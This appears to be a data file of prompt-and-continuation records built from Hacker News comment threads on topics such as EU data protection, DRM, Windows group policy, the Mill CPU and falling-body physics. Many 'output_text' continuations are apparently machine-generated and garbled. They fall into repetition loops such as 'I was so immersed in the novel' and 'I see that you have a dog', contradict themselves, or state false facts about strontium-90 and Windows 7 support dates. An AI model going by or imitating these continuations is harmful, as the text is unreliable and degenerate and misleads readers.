low-hanging fruit to\nme.\n\nAs in: I don't think many EU citizens would object to having this being taken\nfrom the national level to the union level.\n\nCreate a single, strong EU data protection authority, placed somewhere in the\nunion, after the typical competition. I'd suggest Sweden, but would also be\nhappy with Denmark, Germany or the Netherlands.\n\n~~~\njkaptur\nI don\u2019t know much about the EU - why is the physical location of the office\nimportant?\n\n~~~\njohannes1234321\nWhich office? Facebook's or the data protection agency's?\n\nEU (more or less) has rules that the countries are primarily responsible for\nexecution of the law and it makes sense that if a local shop causes privacy\nissues they should be handled by a local authority.\n\nNow companies like Facebook play the system a bit. As first line of defense\nthey claim that their European offices are just resellers of ads etc. and the\nactual operations are done by Corp U.S. (or Corp Bahamas or something) and for\na second line of defense pick the country with the \"best\" enforcement and\ntaxation track record. That can be done as in order for not each country\ntrying to go after their local subsidiary the country with the European\nheadquarters can go after that HQ for all larger cases.\n\nNow the Irish government is smart - they see that 1% taxes on all of European\nbusiness of Corp is better than 40% of only Irish business, thus they don't\nemploy overly strict oversight.\n"} +{"output_text": " the charges you can see that they were trying to make an example\nof him.\n\n\n\n------\nsant0sk1\nI'm not sure I understand the outrage. If the NSA is doing something\nunconstitutional, then they should be called out on it. If they aren't, then\nthey should be called out on that", "input_text": " that they are not attempting to\nsweep this under the rug. There are a lot of companies where people have\naccess to a lot of sensitive data. All you can do is screen the employees,\nlimit their access where possible and audit their use of the security.\n\nBut then someone needs to audit the auditors. Just before I started here we\nused to have an employee who would look in the Oracle database used by Lawson\nto check payroll data. Nobody knew for a long time since he was the UNIX admin\nand DBA.\n\n~~~\njacquesm\nI don't know where 'here' is but you might want to edit that comment.\n\n------\njs2\nI'm not a big fan of Gawker, but why not link to the original story instead of\nthe meta-story?\n\n\n\n~~~\nepi0Bauqu\nBecause HN auto-banned it: \n\n~~~\nAnechoic\nThat link just goes to a empty HN page\n\n~~~\nepi0Bauqu\nTurn on showdead.\n\n------\nnkassis\nI think google manned up well on this one. They will always have this problem.\nAt least it seems they have less (that we know off) incidents than the\ngovernment does. It's pretty incredible how many stories of government\nemployees snooping (even selling it to organize crime) information stored in\ntheir databases.\n\n~~~\njacquesm\nThat was my first take as well, but after reading up a bit on it it seems that\nthey tried to make it go away by not charging him, when if you look at the\nseverity of"} +{"output_text": " in the system that can be printed).\n\n~~~\nbluGill\nYour model is wrong in two ways. First, it assumes that people are rational\nand will spend the tokens when they are worth less. In practice people are\nlikely irrational and will hoard tokens even when they are worth nothing.\nSecond, it assumes that people will know the value of the tokens. In practice\npeople will not know the value of the tokens and will not know when they are\nworth", "input_text": " limits of production. As people\nhoard worthless tokens, their price increases which causes more people to\nhoard them instead of investing in real businesses with real production\ncapacity.\n\nThis eventually causes production capacity to drop. That's right, when enough\npeople do it, token hoarding displaces investment in businesses and factories\nand lowers global production capacity. This means token hoarding causes a\nfuture drop in things available to buy with these tokens.\n\nEventually there will be people who want to buy real things with their stock\nof tokens. The tokens will be chasing fewer goods which means prices for stuff\nwill rise (tokens will lose value). This might happen suddenly when people\nwith large stockpiles of tokens notice that value is dropping and that there\nare tons of other tokens waiting on the sideline to make it drop even further.\nHoarders might rush to get rid of their stockpile all at the same time before\nthey're worthless which will cause their fall to worthlessness. This drop will\nbring the tokens closer to their natural intrinsic value of zero. The cycle\ncan then start again, such is aggregate economics.\n\nThe 1920s and 1930s suffered from this type of production drop but with gold\ntied currencies instead of cryptocoins. It happened to a lesser extent in 2007\nwhen western world central banks failed to keep inflation rates high enough.\n\nIt's important for the world's sake to not let deflationary currencies become\ntoo popular. When savings or financial promises are insufficiently tied to\nfuture production or to accumulation of real goods, there will be\ndisappointment when many people try to exchange them for real stuff. That is\ntrue for crypto currencies as well as government currencies (that is why the\nsystem is designed to make banks invest people's money in real businesses and\nminimize the proportion of money"} +{"output_text": " I started learning Python about a year ago. I started with HTML, CSS, and JS, and then moved on to Python, which I really enjoyed. I also started learning C and C++, but never got very far.\n\nI've been trying to learn Ruby for the past few weeks, and I'm loving it. It's a lot more different than Python, but I'm having a lot of trouble keeping my head above water. I've read the \"One Page Of Ruby\" guide", "input_text": " the\nfuture? I mean, it ain't no AWS backed by Amazon that has quite the track\nrecord.\n\n~~~\nhenrikschroder\nRemember that the alternative is no business at all.\n\nWe have a similar product where we provide a backend for game developers, and\nthere are quite a few of them making quite a lot of money on it. But without\nus, those single developers or small teams simply wouldn't be able to pull off\nthe games that they do, because they don't have the knowledge or resources to\nmake the backend systems we offer.\n\nIf you can afford to make your own backend systems, you're not the target for\nParse, or us.\n\n(Oh, and it's not like AWS has a 100% stellar track record either. :-) )\n\n------\ncatshirt\nisn't _heroku_ \"heroku for mobile\"?\n\n~~~\nthibaut_barrere\nAfter signing up for the beta it's clearly targeted to mobile apps developers\nwho don't want to create their back-end.\n\nIt provides a good bunch of interesting features and skeleton of apps for\nAndroid and iOS.\n\n------\nmark_l_watson\nGreat idea - no wonder they got good funding!\n\nThey support data store functions, push notifications with some nice options,\nuser management, and user auth and security.\n\n------\nsuhail\nGood luck guys.\n\n~~~\ntikhon\nthanks suhail! :)\n\n------\nbenologist\nCongrats guys!\n\n \n\nAsk HN: Learning Ruby + MooTools - sscheper\n\nCompared to most people here, I'm a n00b when it comes to programming. I've had a computer since I was five, but I never really got into computing languages until"} +{"output_text": "~~~\njacquesm\nIt's a plane, not a phone.\n\n~~~\nmajewsky\nAh, gotcha.\n\n------\nvoltagex_\nI'm a little bit disappointed that it doesn't have a removable battery. I'd\nlove to use a removable battery in my phone, but I'd have to buy a new one\nevery few months.\n\n~~~\nvoltagex_\nI guess I'll have to wait for the next batch of modular", "input_text": " if the\nbattery alone dies out. One can't get more anti-modular than that, and the\nNexus 5X has the same deal:\n[https://www.youtube.com/watch?v=VYFbSpvSE-w&feature=youtu.be...](https://www.youtube.com/watch?v=VYFbSpvSE-w&feature=youtu.be&t=74)\n\n~~~\nvoltagex_\nI know what you're saying about the 5X, but it's not _impossible_ to replace.\n\n>The battery isn't immediately user accessible but isn't too challenging, or\ntoo adhered, to replace.\n\n[https://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112...](https://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112139)\n\n~~~\nbmer\nDoes it void your warranty though?\n\n------\neva1984\nI am not surprised either. It is more of a gimmicky idea, than a revolutionary\nmoonshot one. It is somehow hard to picture where is the market and how to\nconvince customers to buy it.\n\n------\njacquesm\nFinally. The first modular phone prototype I saw in Logitech HQ in 1999 or so\nwas shelved for the exact same reasons.\n\nI'm expecting a similar announcement about project Makani.\n\n~~~\nmajewsky\nI just heard about Makani for the first time, and after a quick glance at\ntheir website, it doesn't look absurd. Can you elaborate what is problematic\nabout it?\n\n"} +{"output_text": " I was so immersed in my novel that I forgot\nwhat day it was. I had been writing for a month solid. I was so immersed in\nthe novel that I didn't even notice the clock. I was so immersed in the novel\nthat I forgot to eat. I was so immersed in the novel that I didn't even\nrealize the light was going. I was so immersed in the novel that I didn't\neven notice the light was going. I was so immersed in", "input_text": " a novel or kill myself trying. By that time I had blown\nup a marriage to a girl I loved with all my heart, screwed up two careers,\nblah blah, etc., all because (though I had no understanding of this at the\ntime) I could not handle Resistance. I had one novel nine-tenths of the way\nthrough and another at ninety-nine hundredths before I threw them in the\ntrash. I couldn't finish 'em. I didn't have the guts. In yielding thusly to\nResistance, I fell prey to every vice, evil, distraction, you-name-it\nmentioned heretofore, all leading nowhere, and finally washed up in this\nsleepy California town, with my Chevy van, my cat Mo, and my antique Smith-\nCorona.\n\nA guy named Paul Rink lived down the street. Look him up, he's in Henry\nMiller's Big Sur and the Oranges of Hieronymus Bosch. Paul was a writer. He\nlived in his camper, \"Moby Dick.\" I started each day over coffee with Paul. He\nturned me on to all kinds of authors I had never heard of, lectured me on\nself-discipline, dedication, the evils of the marketplace. But best of all, he\nshared with me his prayer, the Invocation of the Muse from Homer's Odyssey,\nthe T. E. Lawrence translation. Paul typed it out for me on his even-more-\nancient-than-mine manual Remington. I still have it. It's yellow and parched\nas dust; the merest puff would blow it to powder.\n\nIn my little house I had no TV. I never read a newspaper or went to a m o v i\ne. I just worked. One afternoon"} +{"output_text": "\"The radioactive isotope strontium-90 is a by-product of the reprocessing of\nuranium-235, and is therefore not present in the original fuel. However, it\nisn\u2019t easily removed from the spent fuel, and can remain in the soil for\nhundreds of thousands of years. This means that the spent fuel, which is\ncurrently being stored in pools at the site, is likely to be a serious health\nrisk to anyone who comes into contact with", "input_text": " constantly going through your body. Not to mention\nintentional exposures like chest X-rays.\n\nIt's sort of like fire, then. You can burn yourself and you should treat it\ncarefully. You should fear it enough to avoid burning yourself, but not much\nmore than that. It's also going to become just about as necessary to\ncivilization as fire, soon, from the look of things.\n\nMaybe fusion will pan out and I hope so, but people are then going to have to\nlearn all about neutrons and why they can make normal materials become\nradioactive.... But maybe clever moderator designs will make it so that most\nneutrons are absorbed by easily replaceable things that don't become anything\nnasty.\n\n~~~\nTichy\nRadiation is normal, and so is water. I drink water every day with no ill side\neffects, yet it killed thousands of people in a Tsunami.\n\nHow long does supply of nuclear fuels last anyway? Isn't it a limited\nresource? Will it be as necessary to civilization as SUVs?\n\nFrom the article it seems clear that inhaling or digesting contaminated stuff\nis dangerous.\n\n~~~\nNatsu\nA lot longer than any of our other energy sources, except maybe the sun, so\nfusion is a good thing to be able to manage, because hydrogen is so abundant.\n\nHowever, entropy will ultimately kill the universe. Once the entire universe\nruns out of available energy (which it can manage without any human help),\nthen we're screwed barring radical new physics that can give us answers like\n\"this is how you create another universe and then travel there.\"\n\nThe good news is that it will take a looooooong time before anybody seriously\nhas to worry about that.\n\n------\nVladRussian\n"} +{"output_text": "-\nrock/](https://blog.cloudflare.com/standing-rock/)\n\n------\njrochkind1\n> _We will also be aggressively litigating any patent troll cases that are\n> brought to us._\n\nI wonder how that will go? Will they be able to find patent trolls that they\ncan sue?\n\nI wonder if they'll be able to sue the people who file for patents that they\nthink are invalid?\n\n~~~\n", "input_text": "icgiga\nThe root cause of this is the \"American rule\" of costs. It's no where near as\nviable to troll when you have to pay their costs when you lose (especially\ngiven that frequently the plaintiffs are lawyers themselves, so aren't\nactually spending any legal fees to troll).\n\nThe case portrayed in the TV show \"Silicon Valley\" was illustrative: \"best\njust to settle because it'll cost us less\", because the mere act of suing\nitself financially damages the victim, often severely, given lawyers' typical\nrates.\n\nBut not so under the \"English rule\": it costs you nothing if they lose.\n\n~~~\npbhjpbhj\nI can't understand for the life of me why USA don't make awards of costs to\nsuccessful defendants, is there a logic to it that I'm missing?\n\n~~~\npatentatt\nThe benefit is that it lowers barriers to entry to the legal system.\n\n~~~\nepicgiga\nThat's not a benefit. \"Entering the legal system\" is just as often someone\nsuing you (including BS reasons like in the OP) as it is suing someone else,\nand if you can't \"enter the legal system\" because you know you'll lose and\nhave to pay for it, that's a good thing.\n\n------\nkeanzu\n\"We are going to litigate every single patent suit to the fullest extent\npossible including appealing any adverse decisions all the way to the Supreme\nCourt.\"\n\n~~~\nlolc\nThey write this to scare off trolls looking for marks. They would not do this\nin clear-cut cases.\n\n------\nmwerty\nRelated (and covered on hn before): [https://blog.cloudflare.com/standing"} +{"output_text": " _> Unless we're talking about Win8-BIOS-TPM stuff(which I don't clearly\nunderstand just yet), I don't think proper(non-remote-controllable) DRM is a\nprivacy concern._\n\nWell, DRM is non-remote controllable, but it can be defeated remotely. So\nprivacy is not a concern, but ethics is.\n\n _> But, I do think that if the DRM servers and/or media streaming servers are", "input_text": " and _really_ mean it for\nall people of the world. We need to make it impossible for anyone to make the\nargument _\" but what if I don't have internet access?\"._\n\n~~~\nshmerl\n_> I think DRM is fine as long as I can access my media anytime & anywhere on\nall my devices._\n\nI think DRM is never OK. Not only because of privacy and ethical issues, but\nbecause if you can't fully control the content and the service which issues\nDRM closes down you would simply lose everything you paid for. It should be a\ndeal breaker. Then pirating that content will be the only option to get it\nback. This Xkcd applies to video pretty much the same way as to audio for\nwhich it was made: [http://xkcd.com/488](http://xkcd.com/488)\n\n~~~\nsmtddr\nUnless we're talking about Win8-BIOS-TPM stuff(which I don't clearly\nunderstand just yet), I don't think proper(non-remote-controllable) DRM is a\nprivacy concern. I'm not sure how it's an ethical concern either. But, I do\nthink that if the DRM servers and/or media streaming servers are going offline\nand making the content disappear forever they should allow it to just be\ndownloaded without DRM for free - since turning off the servers implies\nthey're done making money off it(?).\n\n~~~\nshmerl\nWhen Netflix (or any other DRMed code) runs on your machine, it runs as a\nblack box for you. Why isn't that a privacy concern and why should it ever be\ntrusted? It's unethical because it's an overreaching preemptive policing, but\nit's a long subject.\n\n"} +{"output_text": " the best in the world. You can sell it to the US and they will have\nthe best watch factory. But if you move it to the US, it will be a waste of\nmoney.\n\n~~~\nmarchenko\nI think this is missing the fact that Switzerland is a small country with a\nlarge amount of capital and a relatively well-functioning government. The\nSwiss government is not a rich man's plaything. They have the opposite\nmotivation", "input_text": " been half-completed and then\nabandoned. Trying to understand exactly how to use their APIs is extremely\nconfusing because they don't have anything definitive and basically a\nfrankenstein-like API so I've given up. I frankly wouldn't trust anything\ncoming from eBay at this point, they appear to have extremely poor developer\nsupport and no investment in making their APIs better to use.\n\n \nLiving in Switzerland ruined me for America and its lousy work culture (2016) - DiabloD3\nhttp://www.vox.com/2015/7/21/8974435/switzerland-work-life-balance\n======\nmanarth\nDeja-vu.\n[https://news.ycombinator.com/item?id=13303544](https://news.ycombinator.com/item?id=13303544)\n\n~~~\nmanarth\nAnd in 2015 (although that source article has since disappeared):\n[https://news.ycombinator.com/item?id=9987816](https://news.ycombinator.com/item?id=9987816)\n\n------\ncsomar\nIn my opinion this is missing an important thing: Does the Swiss model scale?\n\nFor example, the Singapore model can't scale. It's based on rich people and\ncorporations arbitraging the international fiscal system. You can't have\nanother Singapore without having another East Asia and West with it.\n\nSwiss is definitively a privileged place that is benefiting from the overall\nwealth of Europe and many other countries. We can't have the niceties they are\nhaving unless we have huge leaps in overall productivity around the world.\n\nEdit: To explain my point further. Let's say you have a Swiss watch factory\nthat is"} +{"output_text": "? That Windows is the de-facto platform for\ncomputing and that MacOS is a niche?\n\n~~~\nbluedino\nI don't think that's true.\n\nThe software is the same on all platforms.\n\nThe hardware is the same on all platforms.\n\nThe only thing that's different is the distribution.\n\n~~~\nmrmrcoleman\nThe hardware is the same but the software is not.\n\n~~~\nbluedino", "input_text": " laptop, after all their whole thing is gouging people with\nunrealistic prices for the hardware and huge margins on everything.\n\nThat said, if a laptop rolls around that doubles the 10 hour battery life on\nexisting configurations - they'll scoop up a ton of users regardless whether\nit can run Windows or not.\n\nI don't know how doable that would be, but the iPad Pro has a 28 watt hour\nbattery, the MBP 13 has a 59 watt hour battery, a theoretical Macbook without\na discrete GPU and a smaller motherboard footprint of an A13 chip, leaving\nspace for a bigger battery and providing about the same performance could\npossibly hit 20 hours of battery in about the same space.\n\n~~~\nf6v\nHow are their prices on hardware unrealistic? Let's look at laptops: any other\nmanufacturer(razer, dell) charges comparable prices for unibody ultrabooks.\n\n~~~\nakmarinov\nTheir RAM upgrade and SSD pricing is off the charts though. 8 to 16 GB is $200\n- which other manufacturer does that?\n\n------\nMangoCoffee\nits sad to see a king (Intel) slowly dying. Microsoft got its groove back with\nSatya Nadella and turn Microsoft into player two in the cloud computing and\nunlock.Net.\n\nAMD ryzen to EPYC with Lisa Su and TSMC became king of pure-play foundry under\nMorris Chang.\n\ni think there is a pattern here. a good engineer CEO have a vision of what a\ncompany can be while a CFO turn CEO only see the bottom line.\n\ni don't know how long Intel can keep squeezing 14+++++++++++++++ nm.\n\n------\nwoodylondon\nIs the issue here not the software"} +{"output_text": "'this'.\n\n~~~\njordanwallwork\nThis is correct, but I think the way I first heard it explained was that\nfunctions in JS are 'binded' to their 'this' value, so when you call a\nfunction, 'this' is bound to whatever value it was called with, and when you\npass it as a parameter, it's bound to whatever you pass it as.\n\n------\njordanwallwork\nI'm not sure why this", "input_text": " to JS is that they expect |this|\nto be controlled by the callee, like it is in lots of other popular languages,\nand are surprised when calling convention can change its value.\n\n~~~\naboodman\nBTW, imo, the behavior of |this| is a really unfortunate design flaw of JS.\nThe amount of time that must have been spent learning and teaching this edge\ncase over and over to every person new to the language is... well, it's big.\n\n~~~\nvicaya\nThe behavior of 'this' is from DOM bindings and not from the language per se.\nJavascript can set 'this' of any calling context to any object with 'apply' or\n'call'. The convention for on* handlers is that 'this' is set to the DOM\nelement when the handlers are called. I only learned to appreciate this, when\nI wrote my own little JS DOM framework a la JQuery or Dojo.\n\n~~~\nlitewulf\nI believe actually that 'this' points to the global object.\n\nSo if there is no obvious thing for this to point at, it'll point at the\nglobal object. Its just implementation detail that in browsers it points to\nthe window object.\n\n------\nmhansen\nThe way I remember it: this is whatever is before the dot when you call the\nfunction.\n\nE.g. for car.drive(); in the drive function, any reference to 'this' will get\n'car'. If the function is called on it's own, as in 'drive()', 'this' will\nrefer to the Global object (bad)\n\nIt's also possible to change 'this' by using the Function.prototype.apply()\nmethod, which allows you to pass a 'context' parameter that will become\n"} +{"output_text": "I don't see how this can be exploited from outside.\n\n~~~\njzwinck\nWindows is designed so that the user's profile is the most trusted place.\nThat's why it's called the \"user profile\".\n\nIf you are logged in as a user, you can access anything in their profile.\nThat's why it's called the \"user profile\".\n\nIf you are not logged in as a user, you can access only things that are\nallowed", "input_text": " will ever find\n\nThis isn't relevant because if you're logged in as the affected user, nothing\nyou see can be trusted because you're already pwned. For instance, the\nattacker could have replaced the regedit icon with a patched regedit, or\nattached a debugger to every process and patched any system calls. The only\nsafe course of action would be to create a new profile.\n\n> and even most Windows administrators will have no idea to look for.\n\nAFAIK user hives aren't loaded until they're logged in, in which case they're\nsubject to the caveats of the previous paragraph. Also, are administrators\nreally going around and loading each user's registry hive to check for\ninfections? The only real threat I can think of is antivirus vendors not\nknowing about this feature and not scanning the file as a registry hive.\n\n~~~\nthrowanem\nAs the article mentions, the threat model here is primarily an insider one,\nwith a \"rogue\" user leveraging this method to obtain capabilities the domain\nadministrator intends to deny. There are certainly more effective exploits for\nan outside attacker to use, but that's beside the point.\n\n~~~\ndfox\nUser Group Policy isn't exactly a security mechanism, it exists to prevent\nusers from unintentionally breaking their profile. There is multitude of ways\nhow the user in question can inject arbitrary code into processes that are\naffected by user group policy as these processes are owned by that user.\n\n------\njve\nIs this a real concern?\n\nI always treat User Settings overridable, because they happen either in\nsecurity context of user or within user registry which lives in %userprofile%\n- the user has full access to ntuser.dat file.\n\n"} +{"output_text": ". I'm not a\nbiologist, and I don't have the time or inclination to learn how to.\n\n------\njhallenworld\nI wonder if this would work for detecting submarines?\n\n~~~\njhallenworld\nI mean, it would work for detecting submarines, but it would also work for\ndetecting oil spills, since oil absorbs in the UV spectrum.\n\n------\njhallenworld\nWhat about UV-Vis-", "input_text": " see up to around 750nm or so (NIR) with\nawful quantum efficiency. Pit vipers and some fish have limited perception of\nIR, but I'm not aware of any animals that can see IR in the conventional\nsense\u2026 being warm blooded presents a real problem, for one.\n\nPlainly, there are limits to what can be achieved in hyperspectral imaging due\nto materials, and that's without the constraints of biology thrown in the mix.\n\n~~~\nnl\n_Utter poppycock._\n\nThat seems... strong, especially if referring to the \"Night vision glasses no\nlonger needed for enhanced soldiers\" bit.\n\n _They eventually formulate a chlorin e6 solution for human use. A few drops\nare dripped into Licina\u2019s eyes, and they had him look for people hidden among\ntrees as well as symbols on objects in dim light. Licina seemed to perform a\nlot better than the four other people who did not get eyedrops._\n\n[http://gizmodo.com/the-real-science-behind-the-crazy-\nnight-v...](http://gizmodo.com/the-real-science-behind-the-crazy-night-vision-\neyedrops-1694955347)\n\n~~~\nOopsCriticality\nMy frustration was more directed towards the UV-Vis-NIR part (and I read night\nvision as thermal IR, but who knows), but I wouldn't say that your linked\narticle is something of substance. To quote the article, quoting the\nexperimenter/ee, \"In Licina\u2019s own words: 'Let\u2019s be fair here. It\u2019s kind of\ncrap science.'\"\n\nI wouldn't even know where to begin in criticizing their study"} +{"output_text": " \"right times\" in the corporate world? Why do companies\nalways seem to be looking for a right time to start the search for a new\nleader?\n\n~~~\nblizkreeg\nI guess I'll add a follow up to my comment:\n\n\"I believe now is the right time for SoFi to start the search for a new leader\n_after firing Mike Cagney_ \"\n\n------\njoeblau\nI was at a SoFi", "input_text": " about not hiring assholes in the first place? If they have to be coached\nto not have issues with women, then they aren't worth your time.\n\n------\nmgkimsal\nMaybe he was busy having \"inappropriate relations\" with the people who should\nhave been \"reviewing\" my paperwork?\n\nTried to use them years ago and... turnaround time took _weeks_. Their web\ninterface just kept telling me they were \"reviewing\" then \"need more info\"\nwithout any concrete info as to what was needed. Emails took days to get a\nreply to.\n\nTried to use them again last year - same horrible turnaround/response time\n(days/weeks).\n\nI was able to use another institution and have my financial stuff handled and\ndone in less time than it took them to even clarify why the exact same info\nother financial agents were fine with wasn't good enough (and, they never\ndid).\n\nThey followed up about 4 months later to ask if I still needed service.\n\n------\nSoFiThrowaway\nThe internal messaging is the same as external: \"buisness is strong, we\ncontinue to execute as we did, looking for a new ceo\".\n\nHowever, if you read between the lines, it sounds like the board might have\nbeen looking for an excuse to oust Mike, who preferred high risk ventures and\nexpansions, and replace him with someone experienced in bringing companies to\nan IPO. It seems like this is an attempt to kill two birds with one stone, in\nterms of bad press.\n\n------\nblizkreeg\n\u201cI believe now is the right time for SoFi to start the search for a new\nleader,\u201d Mr. Cagney said in a statement.\n\nWhat's with these"} +{"output_text": "\nkpao\nAh, that makes sense. Thanks!\n\n------\njoeblau\nI worked at Boeing for a few years and I can tell you that the culture is\nabsolutely insane. I remember one time I was talking to a coworker in the\nmen's restroom and I mentioned that I was a little worried about my job. I\ncould tell that he was a little stressed out because he was a little\nparanoid. He told me that", "input_text": "=Ra_khhzuFlE](https://www.youtube.com/watch?v=Ra_khhzuFlE)\n\n~~~\nhermitdev\nBoeing also did a near-vertical take off in the 787 during their initial tests\n(and a few times after at air shows) This video [1] from a past Paris air\nshow, shows a 787 ready for a delivery to Vietnam Airlines doing a very\naggressive & short (but not vertical take off). Pretty ballsy to do such a\nthing in such an expensive jet that's on its way to delivery to a client.\n\n[1]\n[https://www.youtube.com/watch?v=B5_8D8HCnS4](https://www.youtube.com/watch?v=B5_8D8HCnS4)\n\n~~~\novercast\nAccording to comments, it was nowhere near vertical, which is why they didn't\nshow it from a side angle. Apparently indicator light goes off at 30 degrees,\nindicating imminent engine stall.\n\n~~~\nkpao\nWhat do you mean engine stall?\n\nAs long are you have enough thrust, airspeed and no system preventing you to\ngo above a certain pitch or AOA, then the plane should fly just fine...\n\n~~~\nJorgeGT\nExcessive AOA causes streamline detachments in the diffuser that cause\ncompressor stall: [http://www.free-online-private-pilot-ground-\nschool.com/image...](http://www.free-online-private-pilot-ground-\nschool.com/images/xcompressor-airflow.gif.pagespeed.ic.Sk_s8wyIqh.png)\n\n~~~"} +{"output_text": " read HN and I see that most people here are smart and\nproductive. I see that you have a job that you love. I see that you have side\nprojects. I see that you have a girlfriend. I see that you have friends. I see\nthat you have a dog. I see that you have a car. I see that you have a house. I\nsee that you have a girlfriend. I see that you have a dog. I see that you have\na car", "input_text": "\nI'm looking for \"the\" magic answer, not because it would be easy, but because\nI don't want to sink more effort into just another method that may or may not\nwork in the end. In a way, I'm getting demoralized on the subject of self-\nimprovement.\n\nFor what it's worth, several years ago during an \"enhanced\" experience, I had\nthe following realization, which might have some truth to it. Paying so much\nattention to self-improvement, month after month, year after year, trains your\nbrain to think you're a loser. The constant thoughts of \"I'm too lazy, how do\nI get better\" eventually get internalized. This is probably unhealthy and\nmight even be counter-productive.\n\nBest wishes, fellow traveller.\n\n------\nrails\nHi,\n\nI want you to tell you a litte story about my self and my struggles. We should\nbe about the same age. A year ago, I was going strong, working my job, having\nside projects and getting things done. I was doing a lot of sports and was on\nthe level of a marathon runner. Then I had an injury. Due to the lack of\nsport, I fell into depression. I was unable to concentrate on a single thing\nfor even five minutes and had no motivation whatsoever. I have had then set\ngoals for myself and after I failed to accomplish them, I beat myself up.\nRinse and repeat. Now, about 9 Months later, I am still in the recovering\nprocess. Like you I tried pretty much every productivity hack out there. From\npomodoro to bullet journaling, habit forming and so on. What I want to say:\nThere is no quick fix. It takes time.\n\nSo I regularly"} +{"output_text": "windows.microsoft.com/en-us/windows/lifecycle)\n\n[2] [http://windows.microsoft.com/en-\nus/windows/end-support](http://windows.microsoft.com/en-us/windows/end-support)\n\n~~~\nSiecje\nI meant that Windows 7 will be unsupported after January 2013.\n\n------\njenscow\nI wonder if this is related to the \"MS17-", "input_text": "\nHowever, in the case of Windows, this issue isn't that much severe as it would\nbe on a unix-like, for example.\n\nWith the set up of Windows servers I've seen, only the admin logs in anyway.\nIt's not really used as a \"multi-user\" system per-se, where you get different\nusers logging in at the same time. It does happen, but it's not common.\n\n~~~\nscarmig\nHahah, I figured Windows might be slightly better about this, hence the self-\nadmitted uninformed take.\n\nCould you clarify, though: do you mean to say Windows isn't as vulnerable\nbecause of cultural reasons (i.e. Windows systems aren't multi-user usually)\nor because of technical ones (they support something like SELinux out of the\nbox)?\n\n~~~\njenscow\nThe _impact_ isn't as severe, for cultural reasons.\n\n------\ndang\nUrl changed from [http://www.pcworld.com/article/2864312/google-discloses-\nunpa...](http://www.pcworld.com/article/2864312/google-discloses-unpatched-\nwindows-vulnerability.html), which points to this.\n\n------\nSiecje\nThis is going to be more common when Windows 7 is no longer supported\n2015-01-13.\n\n~~~\n_delirium\nWindows 7 has security support through January 2020 [1]. What's ending this\nmonth is \"mainstream support\", which seems to mean new features, phone\nsupport, etc. [2]\n\n[1] [http://windows.microsoft.com/en-\nus/windows/lifecycle](http://"} +{"output_text": "\n> his commanders knew what that was, and let them figure out how best to\n> achieve that based on the situation.\n\nThis is the part I don't understand. Why would a general not want to know what\nhis troops are capable of doing? Why would a general not want to know what\ntheir morale is like? Why would a general not want to know what the terrain\nis? Why would a general not want to know what the enemy is capable of doing?\n", "input_text": " during\nwintertime, while admirable (the safety of his soldiers was of supreme\nimportance to him), worked out where they seemed like they shouldn't most of\nthe time.\n\n3\\. Stupidity of his enemies. How many times did Caesar attack the Pompeans\nduring the Civil War during winter? They never learned. It's remarkable\nreally. One can also look at Caesar's merciful treatment of enemies during the\ncivil war as evidence of his genius -- he won so many by being gentle, even\nthough he had to fight Ahenobarbus like 4 times because he kept letting him\ngo.\n\nWith that, Caesar turned into an absolute master by making reasonable\ncalculated risks and surviving them. By the point he was clearing the last of\nthe Pompeans in Africa at the end of the Civil War, he didn't even leave his\ntent to give commands -- so confident and expertised in warfare that he didn't\neven have to see the field of battle.\n\nThis is a bit of a ramble. I really admire Julius Caesar and think there's so\nmuch to learn by studying his life and habits.\n\n~~~\nunFou\n\"By the point he was clearing the last of the Pompeans in Africa at the end of\nthe Civil War, he didn't even leave his tent to give commands\"\n\nWas this an indication of the experience and initiative of his commanders and\nnon-coms? So Caesar might decide on the overall approach, make sure all his\ncommanders knew what that was, and let them figure out how best to achieve\nthat based on the situation.\n\n~~~\nSirensOfTitan\n> Was this an indication of the experience and initiative of his commanders\n> and non-coms? So Caesar might decide on the overall approach, make sure all"} +{"output_text": ".\n\n~~~\nTrainedMonkey\n1\\. 33 ops per cycle is very impressive. I am not sure if I can achieve that\nwith RISC. I am not a expert in this area, but I would think that the number\nof stages in the pipeline will limit the speed.\n\n2\\. I am not sure how many stages of pipelines you can fit into 32 bit\nregisters. I am not sure if you can get that many pipelines into 32 bit\nreg", "input_text": "\nothers Boeing and McDonnel Douglas.\n\n \nIntroduction to the Mill CPU Programming Model - luu\nhttp://ootbcomp.com/topic/introduction-to-the-mill-cpu-programming-model-2/\n======\nTrainedMonkey\nInteresting, the architecture looks greatly simplified compared to even\nstandard RISC (As opposed to lets say x86). Due to that simplification it will\nbe power efficient while being inherently highly parallel.\n\nWould be interesting to find out:\n\n1\\. How high that degree of parallelism can be pushed, are we talking about\ntens or hundreds of pipelines?\n\n2\\. What frequency this will operate at?\n\n3\\. What is up with RAM? I saw nothing about memory, with lots of pipelines it\nis bound to be memory bound.\n\n~~~\nwillvarfar\nHi, I'm the author of that intro. The talks which Ivan has been giving - there\nare links in that intro - go into everything in much more detail. But here's a\nquick overview of your specific questions:\n\n1: we manage to issue 33 operations / sec. This is easily a world record :)\nThe way we do this is covered in the Instruction Encoding talk. We could\nconceivably push it further, but its diminishing returns. We can have lots of\ncores too.\n\n2: its process agnostic; the dial goes all the way up to 11\n\n3: the on-chip cache is much quicker than conventional architectures as the\nTLB is not on the critical path and we typically have ~25% fewer reads on\ngeneral purpose code due to backless memory and implicit zero. The main memory\nis conventional memory, though; if your algorithm is zig zagging unpredictably\nthrough main memory we can't magic that away"} +{"output_text": " at the start of that second.\n\nThis is not true. The potential energy is constant, but the kinetic energy is\nnot.\n\n~~~\nRetric\nPotential energy is energy at a given height. AKA it takes the same energy to\nclimb from floor 1 to 2 as 2 to 3.\n\nPotential energy is linear with height.\n\nPS: The kinetic energy is the same as the potential energy at a given height.\nAKA it takes", "input_text": " the\n120 -> 96 mph change is the same as that required to go from 24 -> 0\\. This\nworks out in conservation of energy because the ejected mass has kinetic\nenergy of its own.\n\nIn the case of you landing, I don't think energy balance is the way to look at\nit; each of the collisions that slows you down will transfer some energy to\nthe ground. In terms of force, the force is dependent only on the\nacceleration, so it comes down to how long each impact lasts. If each \"bounce\"\nor \"thud\" lasts the same amount of time (I don't know if this is realistic)\nthen each one will transfer 1/5th of the force, as the article says.\n\n~~~\nRetric\nYour intuition is wrong.\n\nPotential energy is linear with height. AKA it takes the same energy to climb\nfrom floor 1 to 2 as 2 to 3.\n\nGravity is 32 feet per second per second aka you gain speed over time. In a\nvacuum 0 to 32 feet per second takes 1 second, 32 to 64 feet per second takes\n1 seconds, 64 to 96 takes 1 second etc.\n\nHowever, in the first second you fall 16 feet. in the next second you fall 